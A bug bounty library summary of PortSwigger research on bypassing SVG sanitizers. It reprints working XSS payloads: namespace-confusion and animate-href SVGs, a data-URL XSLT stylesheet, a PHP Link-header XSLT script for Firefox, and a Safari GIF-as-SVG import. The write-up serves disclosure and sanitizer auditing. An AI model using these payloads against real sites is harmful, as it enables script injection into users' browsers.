# Scalable Vector Grief

Six of eight popular SVG sanitizers bypassed via namespace confusion, animate href, data-URL XSLT, Link-header XSLT, and Safari GIF-as-SVG import, yielding XSS.

- Payout: Research
- Severity: high
- Program: SVG sanitizers
- Write-up by: PortSwigger Research
- Disclosed: 2026-10-27
- Write-up quality: 9/10
- Original: https://portswigger.net/research/scalable-vector-grief
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-scalable-vector-grief
- Tags: area:web domain:web impact:integrity kind:research platform:research sev:high tech:firefox tech:ios technique:parser-differential technique:source-review vuln:file-upload vuln:xss

**Target:** SVG sanitizer libraries and browser SVG/XSLT rendering
**Root cause:** Sanitizers fail to account for XML namespace switching, animate/animateTransform attribute mutation, xml-stylesheet processing instructions with data URLs, Firefox Link-header XSLT loading, and Safari importing image files as SVG via <use>.
**Steps:**
1. Namespace confusion: `<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><frame xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(document.domain)"/></svg>` bypasses mattkrick/sanitize-svg.
2. Case mismatch: `<svg xmlns="http://www.w3.org/2000/svg"><foreignobject><img src=x onerror=alert(1)></foreignobject></svg>` evades querySelectorAll('foreignobject').
3. Animate href: `<svg xmlns="http://www.w3.org/2000/svg"><a><animate attributeName="href" values="JavaScript:alert(1)"/><text x="20" y="20">XSS</text></a></svg>` bypasses Borewit/svg-sanitizer.
4. XSLT via processing instruction: `<?xml-stylesheet type="text/xsl" href="data:text/xsl;base64,..."?>` with a stylesheet emitting `<x:element name="{concat('scr','ipt')}">alert(document.domain)</x:element>`.
5. Firefox Link header: `Link: <data:application/xml,...>; rel="stylesheet"; type="text/xsl"` with nested document() data URL containing `<img src="1" onerror="alert(document.domain)">` inside foreignObject.
6. Safari: `<svg xmlns="http://www.w3.org/2000/svg"><use href="/svg/test.gif#x" /></svg>` imports a GIF containing SVG payload with `<image href="1" onerror="alert(1)" />`.
**How found:** Started from Paulos Yibelo's tip that Firefox loads external CSS via Link response header; hypothesized data URLs would work and extended to XSLT. Also tested namespace switching, case-sensitivity of querySelectorAll, animate attribute mutation, and Safari's <use> image import behavior.
**Exploitation:** Attacker uploads a crafted SVG (or GIF for Safari) to a site that sanitizes and serves it; the sanitizer passes the payload, and the browser executes JavaScript in the site's origin when the file is viewed.
**Escalation:** Chained sanitizer bypass with browser-specific rendering quirks (Firefox Link header, Safari image import) to achieve XSS even when the response body is benign XML.
**Insight:** When auditing SVG sanitizers, test XML namespace switching on individual elements, case-mismatched tag names against querySelectorAll, animate/animateTransform mutating href, xml-stylesheet processing instructions with data URLs, and browser-specific features like Firefox Link-header stylesheets and Safari <use> importing image files as SVG.

## Proof of concept (copied exactly from the original report)

**PHP Link header XSLT data URL XSS**

```
<?php
header("Content-Type: text/xml");
header('Link: <data:application/xml,%3Cxsl%3Astylesheet%20version%3D%221.0%22%20xmlns%3Axsl%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2FXSL%2FTransform%22%3E%3Cxsl%3Atemplate%20match%3D%22%2F%22%3E%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22400%22%20height%3D%22200%22%3E%3CforeignObject%20width%3D%22400%22%20height%3D%22200%22%3E%3Cxsl%3Acopy-of%20select%3D%22document(\'data%3Aapplication%2Fxml%2C%253Cdiv%2520xmlns%253D%2522http%253A%252F%252Fwww.w3.org%252F1999%252Fxhtml%2522%253E%253Cimg%2520src%253D%25221%2522%2520onerror%253D%2522alert(document.domain)%2522%2520%252F%253E%253C%252Fdiv%253E\')%2F*%22%2F%3E%3C%2FforeignObject%3E%3C%2Fsvg%3E%3C%2Fxsl%3Atemplate%3E%3C%2Fxsl%3Astylesheet%3E>; rel="stylesheet"; type="text/xsl"');
?>
<x>
<b>foo</b>
</x>
```

**Safari use element imports GIF as SVG**

```
index.svg:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="50">
 <use href="test.png#x" />
</svg>
test.png:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
 <g id="x">
 <image href="1" onerror="alert(1)" />
 </g>
</svg>
Alas, you can't make a true SVG/image polyglot because SVG is a little too strict. However, if you can upload a GIF that contains the payload, it won't render when you open it in the browser, but it can still be imported with a <use> element!

That's all it takes to bypass all three libraries:
<svg xmlns="http://www.w3.org/2000/svg"><use href="/svg/test.gif#x" /></svg>
```

**Self-contained XSLT data URL stylesheet XSS**

```
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="data:text/xsl;base64,PHg6c3R5bGVzaGVldCB4bWxuczp4PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHZlcnNpb249IjEuMCI+PHg6b3V0cHV0IG1ldGhvZD0iaHRtbCIvPjx4OnRlbXBsYXRlIG1hdGNoPSIvIj48aHRtbD48Ym9keT48eDplbGVtZW50IG5hbWU9Intjb25jYXQoJ3NjcicsJ2lwdCcpfSI+YWxlcnQoZG9jdW1lbnQuZG9tYWluKTwveDplbGVtZW50PjwvYm9keT48L2h0bWw+PC94OnRlbXBsYXRlPjwveDpzdHlsZXNoZWV0Pg=="?><svg xmlns="http://www.w3.org/2000/svg" width="200" height="50"><text x="10" y="30">XSS</text></svg>
```

